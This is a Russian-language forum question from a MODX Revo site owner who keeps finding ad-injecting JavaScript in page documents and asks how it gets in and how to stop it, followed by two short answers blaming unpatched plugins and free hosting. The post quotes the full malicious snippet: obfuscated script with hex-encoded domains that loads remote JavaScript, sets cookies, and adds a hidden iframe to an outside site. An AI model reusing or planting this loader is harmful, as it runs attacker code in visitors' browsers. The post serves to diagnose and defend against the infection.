Задать вопрос
@Suicide676
didusdev.com

Какие пути попадания вредоносного js-кода на сайт?

Здравствуйте!
Работаю с CMF MODX Revo.
Уже несколько раз на разных сайтах нахожу один вредоносный код, который переодически показывает на сайте рекламу.

Располагается он в коде самого документа.
При редактировании документа код, естественно, не отображается.
Его видно если посмотреть исходный код страницы (в текстовом редакторе есть такая возможность).

Вопросы:
1. Какими путями код может попадать на сайт?
2. Как предотвратить такое поведение в дальнейшем?

Скриншот с рекламой:

84ba2360936a461ca063ad70808950bc.png

Сам код:

<p> </p>
<script type="text/javascript">// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="18167",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kashiza.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
// ]]></script>
<p><iframe id="a1996667054" style="display: none;" src="https://ui5nvtxlm.ru/f.html" width="320" height="240"></iframe></p>
  • Вопрос задан
  • 656 просмотров
Подписаться 1 Оценить 1 комментарий
Пригласить эксперта
Ответы на вопрос 2
dimonchik2013
@dimonchik2013
non progredi est regredi
попадает через уязвимости - обновляйте всегда срипты до последней версии,но еще проблемы кроются в плагинах, которые не так строго проверяют на sql inject etc.
Ответ написан
Комментировать
@dmitryKovalskiy
программист средней руки
Есть один весьма простой путь - жадность. Клиент берет "бесплатный хостинг", а доблестный хостер может в выдачу примешивать всякое. В том числе и подобное
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы